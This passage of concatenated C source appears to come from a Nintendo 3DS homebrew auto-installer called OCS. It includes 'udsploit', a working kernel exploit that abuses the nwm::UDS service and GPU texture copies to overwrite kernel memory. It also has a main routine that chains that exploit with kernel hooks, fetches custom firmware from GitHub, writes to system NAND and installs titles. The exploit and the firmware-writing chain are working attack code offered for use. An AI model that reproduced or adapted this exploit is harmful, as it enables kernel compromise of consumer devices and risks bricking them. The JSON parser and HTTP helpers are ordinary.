cmdbuf[0] = 0x120100; 53 | cmdbuf[1] = BindNodeID; 54 | cmdbuf[2] = input0; 55 | cmdbuf[3] = data_channel; 56 | cmdbuf[4] = NetworkNodeID; 57 | 58 | Result ret=0; 59 | if((ret = svcSendSyncRequest(*handle)))return ret; 60 | ret = cmdbuf[1]; 61 | 62 | return ret; 63 | } 64 | 65 | static Result UDS_Unbind(Handle* handle, u32 BindNodeID) 66 | { 67 | u32* cmdbuf = getThreadCommandBuffer(); 68 | 69 | cmdbuf[0] = 0x130040; 70 | cmdbuf[1] = BindNodeID; 71 | 72 | Result ret = 0; 73 | if((ret = svcSendSyncRequest(*handle)))return ret; 74 | 75 | return cmdbuf[1]; 76 | } 77 | 78 | static Result UDS_Shutdown(Handle* handle) 79 | { 80 | u32* cmdbuf = getThreadCommandBuffer(); 81 | 82 | cmdbuf[0] = 0x30000; 83 | 84 | Result ret = 0; 85 | if((ret = svcSendSyncRequest(*handle)))return ret; 86 | 87 | return cmdbuf[1]; 88 | } 89 | 90 | Result NDM_EnterExclusiveState(Handle* handle, u32 state) 91 | { 92 | u32* cmdbuf = getThreadCommandBuffer(); 93 | 94 | cmdbuf[0] = 0x10042; 95 | cmdbuf[1] = state; 96 | cmdbuf[2] = 0x20; 97 | 98 | Result ret = 0; 99 | if((ret = svcSendSyncRequest(*handle)))return ret; 100 | 101 | return cmdbuf[1]; 102 | } 103 | 104 | Result NDM_LeaveExclusiveState(Handle* handle) 105 | { 106 | u32* cmdbuf = getThreadCommandBuffer(); 107 | 108 | cmdbuf[0] = 0x20002; 109 | cmdbuf[1] = 0x20; 110 | 111 | Result ret = 0; 112 | if((ret = svcSendSyncRequest(*handle)))return ret; 113 | 114 | return cmdbuf[1]; 115 | } 116 | 117 | // la == linear address (output) 118 | Result allocHeapWithLa(u32 va, u32 size, u32* la) 119 | { 120 | Result ret = 0; 121 | u32 placeholder_addr = __ctru_heap + __ctru_heap_size; 122 | u32 placeholder_size = 0; 123 | u32 linear_addr = 0; 124 | 125 | // allocate linear buffer as big as target buffer 126 | printf("allocate linear buffer as big as target buffer\n"); 127 | ret = svcControlMemory((u32*)&linear_addr, 0, 0, size, 0x10003, 0x3); 128 | if(ret) return ret; 129 | 130 | // figure out how much memory is available 131 | printf("figure out how much memory is available\n"); 132 | s64 tmp = 0; 133 | ret = svcGetSystemInfo(&tmp, 0, 1); 134 | if(ret) return ret; 135 | placeholder_size = *(u32*)0x1FF80040 - (u32)tmp; // APPMEMALLOC 136 | printf("%08X\n", (unsigned int)placeholder_size); 137 | 138 | // allocate placeholder to cover all free memory 139 | printf("allocate placeholder to cover all free memory\n"); 140 | ret = svcControlMemory((u32*)&placeholder_addr, (u32)placeholder_addr, 0, placeholder_size, 3, 3); 141 | if(ret) return ret; 142 | 143 | // free linear block 144 | printf("free linear block\n"); 145 | ret = svcControlMemory((u32*)&linear_addr, (u32)linear_addr, 0, size, 1, 0); 146 | if(ret) return ret; 147 | 148 | // allocate regular heap to replace it: we know its PA 149 | printf("allocate regular heap to replace it\n"); 150 | ret = svcControlMemory((u32*)&va, (u32)va, 0, size, 3, 3); 151 | if(ret) return ret; 152 | 153 | // free placeholder memory 154 | printf("free placeholder memory\n"); 155 | ret = svcControlMemory((u32*)&placeholder_addr, (u32)placeholder_addr, 0, placeholder_size, 1, 0); 156 | if(ret) return ret; 157 | 158 | if(la) *la = linear_addr; 159 | 160 | return 0; 161 | } 162 | 163 | Result udsploit() 164 | { 165 | Handle udsHandle = 0; 166 | Handle ndmHandle = 0; 167 | Result ret = 0; 168 | 169 | const u32 sharedmem_size = 0x1000; 170 | Handle sharedmem_handle = 0; 171 | u32 sharedmem_va = 0x0dead000, sharedmem_la = 0; 172 | 173 | printf("udsploit: srvGetServiceHandle\n"); 174 | ret = srvGetServiceHandle(&udsHandle, "nwm::UDS"); 175 | if(ret) goto fail; 176 | 177 | printf("udsploit: srvGetServiceHandle\n"); 178 | ret = srvGetServiceHandle(&ndmHandle, "ndm:u"); 179 | if(ret) goto fail; 180 | 181 | { 182 | printf("udsploit: allocHeapWithPa\n"); 183 | ret = allocHeapWithLa(sharedmem_va, sharedmem_size, &sharedmem_la); 184 | if(ret) 185 | { 186 | sharedmem_va = 0; 187 | goto fail; 188 | } 189 | 190 | printf("udsploit: sharedmem_la %08X\n", (unsigned int)sharedmem_la); 191 | 192 | printf("udsploit: svcCreateMemoryBlock\n"); 193 | memset((void*)sharedmem_va, 0, sharedmem_size); 194 | ret = svcCreateMemoryBlock(&sharedmem_handle, (u32)sharedmem_va, sharedmem_size, 0x0, MEMPERM_READ | MEMPERM_WRITE); 195 | if(ret) goto fail; 196 | } 197 | 198 | printf("udsploit: NDM_EnterExclusiveState\n"); 199 | ret = NDM_EnterExclusiveState(&ndmHandle, 2); // EXCLUSIVE_STATE_LOCAL_COMMUNICATIONS 200 | if(ret) goto fail; 201 | 202 | printf("udsploit: UDS_InitializeWithVersion\n"); 203 | udsNodeInfo nodeinfo = {0}; 204 | ret = UDS_InitializeWithVersion(&udsHandle, &nodeinfo, sharedmem_handle, sharedmem_size); 205 | if(ret) goto fail; 206 | 207 | printf("udsploit: NDM_LeaveExclusiveState\n"); 208 | ret = NDM_LeaveExclusiveState(&ndmHandle); 209 | if(ret) goto fail; 210 | 211 | printf("udsploit: UDS_Bind\n"); 212 | u32 BindNodeID = 1; 213 | ret = UDS_Bind(&udsHandle, BindNodeID, 0xff0, 1, 0); 214 | if(ret) goto fail; 215 | 216 | { 217 | unsigned int* buffer = linearAlloc(sharedmem_size); 218 | 219 | GSPGPU_InvalidateDataCache(buffer, sharedmem_size); 220 | 221 | svcSleepThread(1 * 1000 * 1000); 222 | GX_TextureCopy((void*)sharedmem_la, 0, (void*)buffer, 0, sharedmem_size, 8); 223 | svcSleepThread(1 * 1000 * 1000); 224 | 225 | int i; 226 | for(i = 0; i < 8; i++) printf("%08X %08X %08X %08X\n", buffer[i * 4 + 0], buffer[i * 4 + 1], buffer[i * 4 + 2], buffer[i * 4 + 3]); 227 | 228 | buffer[3] = 0x1EC40140 - 8; 229 | 230 | GSPGPU_FlushDataCache(buffer, sharedmem_size); 231 | GX_TextureCopy((void*)buffer, 0, (void*)sharedmem_la, 0, sharedmem_size, 8); 232 | svcSleepThread(1 * 1000 * 1000); 233 | 234 | linearFree(buffer); 235 | } 236 | 237 | printf("udsploit: UDS_Unbind\n"); 238 | ret = UDS_Unbind(&udsHandle, BindNodeID); 239 | if(ret) goto fail; 240 | 241 | fail: 242 | if(udsHandle) UDS_Shutdown(&udsHandle); 243 | if(ndmHandle) svcCloseHandle(ndmHandle); 244 | if(udsHandle) svcCloseHandle(udsHandle); 245 | if(sharedmem_handle) svcCloseHandle(sharedmem_handle); 246 | if(sharedmem_va) svcControlMemory((u32*)&sharedmem_va, (u32)sharedmem_va, 0, sharedmem_size, 0x1, 0); 247 | return ret; 248 | } 249 | -------------------------------------------------------------------------------- /source/fs.c: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | #include 3 | #include 4 | #include "fs.h" 5 | void fsOpenAndWrite(const char *location, void *data, size_t size) 6 | { 7 | Handle file; 8 | FS_Path archivePath = fsMakePath(PATH_EMPTY, ""); 9 | FS_Path filePath = fsMakePath(PATH_ASCII, location); 10 | FSUSER_OpenFileDirectly(&file, ARCHIVE_SDMC, archivePath, filePath, FS_OPEN_WRITE|FS_OPEN_CREATE, 0x0); 11 | FSFILE_Write(file, NULL, 0x0, data, size, FS_WRITE_FLUSH); 12 | FSFILE_Close(file); 13 | } 14 | 15 | u8 *fsOpenAndRead(const char *location, u32 *readSize) 16 | { 17 | FILE *file = fopen(location, "rb"); 18 | if(!file) return NULL; 19 | // seek to end of file 20 | fseek(file,0,SEEK_END); 21 | // file pointer tells us the size 22 | off_t size = ftell(file); 23 | // seek back to start 24 | fseek(file,0,SEEK_SET); 25 | //allocate a buffer 26 | u8 *data=malloc(size); 27 | //read contents ! 28 | off_t bytesRead = fread(data, 1, size, file); 29 | //close the file because we like being nice and tidy 30 | *readSize = size; 31 | fclose(file); 32 | return data; 33 | } 34 | 35 | Result checkFileExists(const char *location) 36 | { 37 | FILE *file; 38 | if (file = fopen(location, "r")){ 39 | fclose(file); 40 | return 1; 41 | } 42 | return 0; 43 | } 44 | Result fsOpenAndWriteNAND(const char *location, void *data, size_t size) 45 | { 46 | Handle log; 47 | fsInit(); 48 | FS_Archive ctrArchive; 49 | FS_Path path = fsMakePath (PATH_EMPTY,""); 50 | Result ret = FSUSER_OpenArchive(&ctrArchive, ARCHIVE_NAND_CTR_FS,path); 51 | if(ret != 0) 52 | { 53 | printf("FATAL\nCouldn't open CTR-NAND for writing"); 54 | fsExit(); 55 | return ret; 56 | } 57 | FS_Path path2 = fsMakePath(PATH_ASCII, location); 58 | ret = FSUSER_OpenFile(&log,ctrArchive,path2,FS_OPEN_WRITE|FS_OPEN_CREATE,0x0); 59 | if(ret != 0) 60 | { 61 | printf("FATAL\nCouldn't open boot.firm for writing"); 62 | fsExit(); 63 | FSUSER_CloseArchive (ctrArchive); 64 | return ret; 65 | } 66 | ret = FSFILE_Write(log,NULL,0x0,data,size,FS_WRITE_FLUSH); 67 | if(ret != 0) 68 | { 69 | printf("FATAL\nCouldn't write boot.firm"); 70 | FSFILE_Close(log); 71 | FSUSER_CloseArchive (ctrArchive); 72 | fsExit(); 73 | return ret; 74 | } 75 | FSFILE_Close(log); 76 | FSUSER_CloseArchive (ctrArchive); 77 | fsExit(); 78 | return ret; 79 | } -------------------------------------------------------------------------------- /source/httpc.c: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | #include 3 | #include 4 | #include "httpc.h" 5 | #include "util.h" 6 | u8 *buf; 7 | u8 *lastbuf = NULL; 8 | u32 size=0, readsize=0; 9 | 10 | Result httpcDownloadDataTimeout(httpcContext *context, u8* buffer, u32 size, u32 *downloadedsize, u64 timeoutsecs) 11 | { 12 | Result ret=0; 13 | Result dlret=HTTPC_RESULTCODE_DOWNLOADPENDING; 14 | u32 pos=0, sz=0; 15 | u32 dlstartpos=0; 16 | u32 dlpos=0; 17 | 18 | if(downloadedsize)*downloadedsize = 0; 19 | 20 | ret=httpcGetDownloadSizeState(context, &dlstartpos, NULL); 21 | if(R_FAILED(ret))return ret; 22 | 23 | while(pos < size && dlret==HTTPC_RESULTCODE_DOWNLOADPENDING) 24 | { 25 | sz = size - pos; 26 | 27 | dlret=httpcReceiveDataTimeout(context, &buffer[pos], sz, timeoutsecs); 28 | if(dlret == HTTPC_RESULTCODE_TIMEDOUT) 29 | { 30 | return dlret; 31 | } 32 | ret=httpcGetDownloadSizeState(context, &dlpos, NULL); 33 | if(R_FAILED(ret))return ret; 34 | 35 | pos = dlpos - dlstartpos; 36 | } 37 | 38 | if(downloadedsize)*downloadedsize = pos; 39 | 40 | return dlret; 41 | } 42 | 43 | Result httpDownloadData(const char* url) 44 | { 45 | httpcContext context; 46 | u32 statuscode, contentsize; 47 | Result ret; 48 | buf = (u8*)malloc(0x1000); 49 | if(buf == NULL) return -1; 50 | size = 0, readsize = 0; 51 | ret = httpcOpenContext(&context, HTTPC_METHOD_GET, url, 0); 52 | if(ret>0)return ret; 53 | 54 | ret = httpcAddRequestHeaderField(&context, (char*)"User-Agent", (char*)"OCS"); 55 | if(ret>0)return ret; 56 | 57 | ret = httpcSetSSLOpt(&context, 1<<9); 58 | if(ret>0)return ret; 59 | 60 | ret = httpcBeginRequest(&context); 61 | if(ret>0)return ret; 62 | 63 | ret = httpcGetResponseStatusCode(&context, &statuscode); 64 | if(ret>0)return ret; 65 | 66 | if((statuscode >=301 && statuscode <=303) || (statuscode >= 307 && statuscode <= 308)) 67 | { 68 | char newurl[1024]; 69 | httpcGetResponseHeader(&context, (char*)"Location", newurl, 1024); 70 | httpcCloseContext(&context); 71 | return httpDownloadData(newurl); 72 | } 73 | ret = httpcGetDownloadSizeState(&context, NULL, &contentsize); 74 | if(ret>0)return ret; 75 | do { 76 | ret = httpcDownloadDataTimeout(&context, buf+size, 0x1000, &readsize, 2.3e+11); 77 | size += readsize; 78 | progressbar("Download:", size, contentsize, false); 79 | if (ret == (s32)HTTPC_RESULTCODE_DOWNLOADPENDING){ 80 | lastbuf = buf; 81 | buf = (u8*)realloc(buf, size + 0x1000); 82 | if(buf==NULL){ 83 | httpcCloseContext(&context); 84 | free(lastbuf); 85 | return -1; 86 | } 87 | } 88 | } while (ret == (s32)HTTPC_RESULTCODE_DOWNLOADPENDING); 89 | 90 | if(ret!=0){ 91 | //if(buf != NULL) free(buf); 92 | httpcCloseContext(&context); 93 | return -1; 94 | } 95 | 96 | lastbuf = buf; 97 | buf = (u8*)realloc(buf, size); 98 | if(buf==NULL){ 99 | httpcCloseContext(&context); 100 | free(lastbuf); 101 | return -1; 102 | } 103 | httpcCloseContext(&context); 104 | //free(buf); 105 | return 0; 106 | } 107 | 108 | u8 * httpRetrieveData() 109 | { 110 | return buf; 111 | } 112 | 113 | size_t httpBufSize() 114 | { 115 | return size; 116 | } 117 | 118 | void httpFree() 119 | { 120 | //if(lastbuf!=NULL) free(lastbuf); 121 | free(buf); 122 | } -------------------------------------------------------------------------------- /source/jsmn.c: -------------------------------------------------------------------------------- 1 | #include "jsmn.h" 2 | 3 | /** 4 | * Allocates a fresh unused token from the token pull. 5 | */ 6 | static jsmntok_t *jsmn_alloc_token(jsmn_parser *parser, 7 | jsmntok_t *tokens, size_t num_tokens) { 8 | jsmntok_t *tok; 9 | if (parser->toknext >= num_tokens) { 10 | return NULL; 11 | } 12 | tok = &tokens[parser->toknext++]; 13 | tok->start = tok->end = -1; 14 | tok->size = 0; 15 | #ifdef JSMN_PARENT_LINKS 16 | tok->parent = -1; 17 | #endif 18 | return tok; 19 | } 20 | 21 | /** 22 | * Fills token type and boundaries. 23 | */ 24 | static void jsmn_fill_token(jsmntok_t *token, jsmntype_t type, 25 | int start, int end) { 26 | token->type = type; 27 | token->start = start; 28 | token->end = end; 29 | token->size = 0; 30 | } 31 | 32 | /** 33 | * Fills next available token with JSON primitive. 34 | */ 35 | static int jsmn_parse_primitive(jsmn_parser *parser, const char *js, 36 | size_t len, jsmntok_t *tokens, size_t num_tokens) { 37 | jsmntok_t *token; 38 | int start; 39 | 40 | start = parser->pos; 41 | 42 | for (; parser->pos < len && js[parser->pos] != '\0'; parser->pos++) { 43 | switch (js[parser->pos]) { 44 | #ifndef JSMN_STRICT 45 | /* In strict mode primitive must be followed by "," or "}" or "]" */ 46 | case ':': 47 | #endif 48 | case '\t' : case '\r' : case '\n' : case ' ' : 49 | case ',' : case ']' : case '}' : 50 | goto found; 51 | } 52 | if (js[parser->pos] < 32 || js[parser->pos] >= 127) { 53 | parser->pos = start; 54 | return JSMN_ERROR_INVAL; 55 | } 56 | } 57 | #ifdef JSMN_STRICT 58 | /* In strict mode primitive must be followed by a comma/object/array */ 59 | parser->pos = start; 60 | return JSMN_ERROR_PART; 61 | #endif 62 | 63 | found: 64 | if (tokens == NULL) { 65 | parser->pos--; 66 | return 0; 67 | } 68 | token = jsmn_alloc_token(parser, tokens, num_tokens); 69 | if (token == NULL) { 70 | parser->pos = start; 71 | return JSMN_ERROR_NOMEM; 72 | } 73 | jsmn_fill_token(token, JSMN_PRIMITIVE, start, parser->pos); 74 | #ifdef JSMN_PARENT_LINKS 75 | token->parent = parser->toksuper; 76 | #endif 77 | parser->pos--; 78 | return 0; 79 | } 80 | 81 | /** 82 | * Fills next token with JSON string. 83 | */ 84 | static int jsmn_parse_string(jsmn_parser *parser, const char *js, 85 | size_t len, jsmntok_t *tokens, size_t num_tokens) { 86 | jsmntok_t *token; 87 | 88 | int start = parser->pos; 89 | 90 | parser->pos++; 91 | 92 | /* Skip starting quote */ 93 | for (; parser->pos < len && js[parser->pos] != '\0'; parser->pos++) { 94 | char c = js[parser->pos]; 95 | 96 | /* Quote: end of string */ 97 | if (c == '\"') { 98 | if (tokens == NULL) { 99 | return 0; 100 | } 101 | token = jsmn_alloc_token(parser, tokens, num_tokens); 102 | if (token == NULL) { 103 | parser->pos = start; 104 | return JSMN_ERROR_NOMEM; 105 | } 106 | jsmn_fill_token(token, JSMN_STRING, start+1, parser->pos); 107 | #ifdef JSMN_PARENT_LINKS 108 | token->parent = parser->toksuper; 109 | #endif 110 | return 0; 111 | } 112 | 113 | /* Backslash: Quoted symbol expected */ 114 | if (c == '\\' && parser->pos + 1 < len) { 115 | int i; 116 | parser->pos++; 117 | switch (js[parser->pos]) { 118 | /* Allowed escaped symbols */ 119 | case '\"': case '/' : case '\\' : case 'b' : 120 | case 'f' : case 'r' : case 'n' : case 't' : 121 | break; 122 | /* Allows escaped symbol \uXXXX */ 123 | case 'u': 124 | parser->pos++; 125 | for(i = 0; i < 4 && parser->pos < len && js[parser->pos] != '\0'; i++) { 126 | /* If it isn't a hex character we have an error */ 127 | if(!((js[parser->pos] >= 48 && js[parser->pos] <= 57) || /* 0-9 */ 128 | (js[parser->pos] >= 65 && js[parser->pos] <= 70) || /* A-F */ 129 | (js[parser->pos] >= 97 && js[parser->pos] <= 102))) { /* a-f */ 130 | parser->pos = start; 131 | return JSMN_ERROR_INVAL; 132 | } 133 | parser->pos++; 134 | } 135 | parser->pos--; 136 | break; 137 | /* Unexpected symbol */ 138 | default: 139 | parser->pos = start; 140 | return JSMN_ERROR_INVAL; 141 | } 142 | } 143 | } 144 | parser->pos = start; 145 | return JSMN_ERROR_PART; 146 | } 147 | 148 | /** 149 | * Parse JSON string and fill tokens. 150 | */ 151 | int jsmn_parse(jsmn_parser *parser, const char *js, size_t len, 152 | jsmntok_t *tokens, unsigned int num_tokens) { 153 | int r; 154 | int i; 155 | jsmntok_t *token; 156 | int count = parser->toknext; 157 | 158 | for (; parser->pos < len && js[parser->pos] != '\0'; parser->pos++) { 159 | char c; 160 | jsmntype_t type; 161 | 162 | c = js[parser->pos]; 163 | switch (c) { 164 | case '{': case '[': 165 | count++; 166 | if (tokens == NULL) { 167 | break; 168 | } 169 | token = jsmn_alloc_token(parser, tokens, num_tokens); 170 | if (token == NULL) 171 | return JSMN_ERROR_NOMEM; 172 | if (parser->toksuper != -1) { 173 | tokens[parser->toksuper].size++; 174 | #ifdef JSMN_PARENT_LINKS 175 | token->parent = parser->toksuper; 176 | #endif 177 | } 178 | token->type = (c == '{' ? JSMN_OBJECT : JSMN_ARRAY); 179 | token->start = parser->pos; 180 | parser->toksuper = parser->toknext - 1; 181 | break; 182 | case '}': case ']': 183 | if (tokens == NULL) 184 | break; 185 | type = (c == '}' ? JSMN_OBJECT : JSMN_ARRAY); 186 | #ifdef JSMN_PARENT_LINKS 187 | if (parser->toknext < 1) { 188 | return JSMN_ERROR_INVAL; 189 | } 190 | token = &tokens[parser->toknext - 1]; 191 | for (;;) { 192 | if (token->start != -1 && token->end == -1) { 193 | if (token->type != type) { 194 | return JSMN_ERROR_INVAL; 195 | } 196 | token->end = parser->pos + 1; 197 | parser->toksuper = token->parent; 198 | break; 199 | } 200 | if (token->parent == -1) { 201 | if(token->type != type || parser->toksuper == -1) { 202 | return JSMN_ERROR_INVAL; 203 | } 204 | break; 205 | } 206 | token = &tokens[token->parent]; 207 | } 208 | #else 209 | for (i = parser->toknext - 1; i >= 0; i--) { 210 | token = &tokens[i]; 211 | if (token->start != -1 && token->end == -1) { 212 | if (token->type != type) { 213 | return JSMN_ERROR_INVAL; 214 | } 215 | parser->toksuper = -1; 216 | token->end = parser->pos + 1; 217 | break; 218 | } 219 | } 220 | /* Error if unmatched closing bracket */ 221 | if (i == -1) return JSMN_ERROR_INVAL; 222 | for (; i >= 0; i--) { 223 | token = &tokens[i]; 224 | if (token->start != -1 && token->end == -1) { 225 | parser->toksuper = i; 226 | break; 227 | } 228 | } 229 | #endif 230 | break; 231 | case '\"': 232 | r = jsmn_parse_string(parser, js, len, tokens, num_tokens); 233 | if (r < 0) return r; 234 | count++; 235 | if (parser->toksuper != -1 && tokens != NULL) 236 | tokens[parser->toksuper].size++; 237 | break; 238 | case '\t' : case '\r' : case '\n' : case ' ': 239 | break; 240 | case ':': 241 | parser->toksuper = parser->toknext - 1; 242 | break; 243 | case ',': 244 | if (tokens != NULL && parser->toksuper != -1 && 245 | tokens[parser->toksuper].type != JSMN_ARRAY && 246 | tokens[parser->toksuper].type != JSMN_OBJECT) { 247 | #ifdef JSMN_PARENT_LINKS 248 | parser->toksuper = tokens[parser->toksuper].parent; 249 | #else 250 | for (i = parser->toknext - 1; i >= 0; i--) { 251 | if (tokens[i].type == JSMN_ARRAY || tokens[i].type == JSMN_OBJECT) { 252 | if (tokens[i].start != -1 && tokens[i].end == -1) { 253 | parser->toksuper = i; 254 | break; 255 | } 256 | } 257 | } 258 | #endif 259 | } 260 | break; 261 | #ifdef JSMN_STRICT 262 | /* In strict mode primitives are: numbers and booleans */ 263 | case '-': case '0': case '1' : case '2': case '3' : case '4': 264 | case '5': case '6': case '7' : case '8': case '9': 265 | case 't': case 'f': case 'n' : 266 | /* And they must not be keys of the object */ 267 | if (tokens != NULL && parser->toksuper != -1) { 268 | jsmntok_t *t = &tokens[parser->toksuper]; 269 | if (t->type == JSMN_OBJECT || 270 | (t->type == JSMN_STRING && t->size != 0)) { 271 | return JSMN_ERROR_INVAL; 272 | } 273 | } 274 | #else 275 | /* In non-strict mode every unquoted value is a primitive */ 276 | default: 277 | #endif 278 | r = jsmn_parse_primitive(parser, js, len, tokens, num_tokens); 279 | if (r < 0) return r; 280 | count++; 281 | if (parser->toksuper != -1 && tokens != NULL) 282 | tokens[parser->toksuper].size++; 283 | break; 284 | 285 | #ifdef JSMN_STRICT 286 | /* Unexpected char in strict mode */ 287 | default: 288 | return JSMN_ERROR_INVAL; 289 | #endif 290 | } 291 | } 292 | 293 | if (tokens != NULL) { 294 | for (i = parser->toknext - 1; i >= 0; i--) { 295 | /* Unmatched opened object or array */ 296 | if (tokens[i].start != -1 && tokens[i].end == -1) { 297 | return JSMN_ERROR_PART; 298 | } 299 | } 300 | } 301 | 302 | return count; 303 | } 304 | 305 | /** 306 | * Creates a new parser based over a given buffer with an array of tokens 307 | * available. 308 | */ 309 | void jsmn_init(jsmn_parser *parser) { 310 | parser->pos = 0; 311 | parser->toknext = 0; 312 | parser->toksuper = -1; 313 | } 314 | 315 | -------------------------------------------------------------------------------- /source/log.c: -------------------------------------------------------------------------------- 1 | #include "log.h" 2 | #include <3ds.h> 3 | #include 4 | 5 | int print(const char *format, ...) 6 | { 7 | va_list arg; 8 | int done; 9 | va_start (arg, format); 10 | done = vfprintf(stdout, format, arg); 11 | done = vfprintf(File, format, arg); 12 | va_end (arg); 13 | return done; 14 | } 15 | 16 | -------------------------------------------------------------------------------- /source/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include <3ds.h> 5 | #include 6 | #include "kernel.h" 7 | #include "asm.h" 8 | #include "exploits.h" 9 | #include "archive.h" 10 | #include "log.h" 11 | #include "httpc.h" 12 | #include "fs.h" 13 | #include "jsmn.h" 14 | 15 | PrintConsole top, bottom; 16 | 17 | #define result(str,ret,steps,step_count) print("Result for %s:",str); \ 18 | if(ret == 0) \ 19 | { \ 20 | progressbar("Total Progress:", step_count, steps, true); \ 21 | printf("\x1b[1;32m"); \ 22 | print("Success\n"); \ 23 | printf("\x1b[1;37m"); \ 24 | } \ 25 | else \ 26 | { \ 27 | printf("\x1b[1;31m"); \ 28 | print("Fail: %08lX\n", ret); \ 29 | printf("\x1b[1;37m"); \ 30 | } 31 | 32 | void downloadExtractStep1() 33 | { 34 | progressbar("Total Progress:", 0, 5, true); 35 | print("Downloading safeb9sinstaller\n"); 36 | Result ret = httpDownloadData(parseApi("https://api.github.com/repos/d0k3/SafeB9SInstaller/releases/latest", ".zip"));//safeb9sinstaller by d0k3 37 | result("Safeb9sinstaller Download", ret, 5, 1); 38 | archiveExtractFile(httpRetrieveData(), httpBufSize(), "SafeB9SInstaller.bin", "safehaxpayload.bin","/"); 39 | httpFree(); 40 | print("Downloading boot9strap\n"); 41 | ret = httpDownloadData(parseApi("https://api.github.com/repos/SciresM/boot9strap/releases/latest",".zip"));//b9s by scrisem 42 | result("b9s Download", ret, 5, 2); 43 | mkdir("/boot9strap",0777); 44 | archiveExtractFile(httpRetrieveData(), httpBufSize(), "boot9strap.firm", "boot9strap.firm", "/boot9strap/"); 45 | archiveExtractFile(httpRetrieveData(), httpBufSize(), "boot9strap.firm.sha", "boot9strap.firm.sha", "/boot9strap/"); 46 | httpFree(); 47 | print("Downloading luma\n"); 48 | ret = httpDownloadData(parseApi("https://api.github.com/repos/AuroraWright/Luma3DS/releases/latest", ".7z"));//luma by aurorawright 49 | result("Luma Download", ret, 5, 3); 50 | archiveExtractFile(httpRetrieveData(), httpBufSize(), "boot.firm", "boot.firm", "/"); 51 | httpFree(); 52 | } 53 | 54 | void ciaInstall(void *data, u32 size, int total, int step) 55 | { 56 | Handle cia; 57 | Result ret = amInit(); 58 | result("amInit", ret, total ,step); 59 | AM_InitializeExternalTitleDatabase(false); 60 | ret = AM_StartCiaInstall(MEDIATYPE_SD, &cia); 61 | result("Start_CiaInstall", ret, total ,step); 62 | ret = FSFILE_Write(cia, NULL, 0, data, size, 0); 63 | result("CIA write", ret, total ,step); 64 | ret = AM_FinishCiaInstall(cia); 65 | result("Finish Cia Install", ret, total ,step); 66 | amExit(); 67 | } 68 | 69 | void doExploitsStep1() 70 | { 71 | Result ret = 1; 72 | while(ret > 0) 73 | { 74 | ret = udsploit(); 75 | result("Udsploit", ret, 5, 4); 76 | if(ret == 0) 77 | ret = hook_kernel(); 78 | result("hook_kernel", ret, 5, 5); 79 | } 80 | safehax(); 81 | } 82 | 83 | void downloadExtractStep2() 84 | { 85 | progressbar("Total Progress:", 0, 9, true); 86 | print("Downloading and Installing lumaupdater\n"); 87 | Result ret = httpDownloadData(parseApi("https://api.github.com/repos/KunoichiZ/lumaupdate/releases/latest", ".cia")); //lumaupdater by hamcha & KunoichiZ 88 | result("Download", ret, 9, 1); 89 | ciaInstall(httpRetrieveData(), httpBufSize(), 9, 1); 90 | httpFree(); 91 | print("Downloading and Installing DSP1\n"); 92 | ret = httpDownloadData(parseApi("https://api.github.com/repos/zoogie/DSP1/releases/latest", ".cia"));//DSP1 by zoogie 93 | result("Download", ret, 9, 2); 94 | ciaInstall(httpRetrieveData(), httpBufSize(), 9, 2); 95 | httpFree(); 96 | print("Downloading and Installing Anemone3DS\n"); 97 | ret = httpDownloadData(parseApi("https://api.github.com/repos/astronautlevel2/Anemone3DS/releases/latest", ".cia"));//Anemone3ds by AstronaultLevel2 98 | result("Download", ret, 9, 3); 99 | ciaInstall(httpRetrieveData(), httpBufSize(), 9, 3); 100 | httpFree(); 101 | print("Downloading and Installing FBI\n"); 102 | ret = httpDownloadData(parseApi("https://api.github.com/repos/steveice10/FBI/releases/latest", ".cia"));//FBI by steveice10 103 | result("Download", ret, 9, 4); 104 | ciaInstall(httpRetrieveData(), httpBufSize(), 9, 4); 105 | httpFree(); 106 | print("Downloading boot.3dsx\n"); 107 | ret = httpDownloadData(parseApi("https://api.github.com/repos/fincs/new-hbmenu/releases/latest", ".3dsx"));// By smealum & others 108 | result("Download", ret, 9, 5); 109 | fsOpenAndWrite("/boot.3dsx",httpRetrieveData(), httpBufSize()); 110 | httpFree(); 111 | print("Downloading godmode9\n"); 112 | ret = httpDownloadData(parseApi("https://api.github.com/repos/d0k3/GodMode9/releases/latest", ".zip"));// By d0k3 113 | result("Download", ret, 9, 6); 114 | mkdir("/luma/payloads", 0777); 115 | mkdir("/gm9",0777); 116 | mkdir("/gm9/scripts", 0777); 117 | archiveExtractFile(httpRetrieveData(), httpBufSize(), "__ALL__", "__NOTUSED__", "__NOTUSED__"); 118 | archiveExtractFile(httpRetrieveData(), httpBufSize(), "GodMode9.firm", "GodMode9.firm", "/luma/payloads/"); 119 | print("Downloading godmode9 sd card cleaup script\n"); 120 | ret = httpDownloadData("http://3ds.guide/gm9_scripts/cleanup_sd_card.gm9"); //By d0k3 121 | result("Download", ret, 9, 7); 122 | fsOpenAndWrite("/gm9/scripts/cleanup_sd_card.gm9", httpRetrieveData(), httpBufSize()); 123 | print("Downloading godmode9 ctr-nand luma script\n"); 124 | ret = httpDownloadData("http://3ds.guide/gm9_scripts/setup_ctrnand_luma3ds.gm9"); //By d0k3 125 | result("Download", ret, 9, 8); 126 | fsOpenAndWrite("/gm9/scripts/setup_ctrnand_luma3ds.gm9", httpRetrieveData(), httpBufSize()); 127 | httpFree(); 128 | //Best time to install hblauncher_loader 129 | print("Downloading hblauncher_loader\n"); 130 | ret = httpDownloadData(parseApi("https://api.github.com/repos/yellows8/hblauncher_loader/releases/latest", ".zip"));//hblauncher_loader by yellows8 131 | result("Download", ret, 9, 9); 132 | archiveExtractFile(httpRetrieveData(), httpBufSize(), "hblauncher_loader.cia", "hblauncher_loader.cia", "/"); 133 | httpFree(); 134 | u32 size; 135 | u8 *data = fsOpenAndRead("/hblauncher_loader.cia", &size); 136 | printf("Trying to install hblauncher_loader.cia\n"); 137 | ciaInstall(data, size, 9, 9); 138 | free(data); 139 | } 140 | 141 | int main() 142 | { 143 | //preliminary stuff 144 | gfxInitDefault(); 145 | logInit(); 146 | httpcInit(0); 147 | consoleInit(GFX_TOP, &top); 148 | consoleInit(GFX_BOTTOM, &bottom); 149 | consoleSelect(&bottom); 150 | printf("\x1b[1;37m"); 151 | printf("Welcome to \x1b[1mOCS!!\x1b[0m\nMade by:- \x1b[1;32mKartik\x1b[1;37m\nSpecial Thanks to :-\n\x1b[1;33mChromaryu\x1b[1;37m:- For Testing\n\x1b[1;35mSmealum\x1b[1;37m and \x1b[1;33myellows8\x1b[1;37m:- For 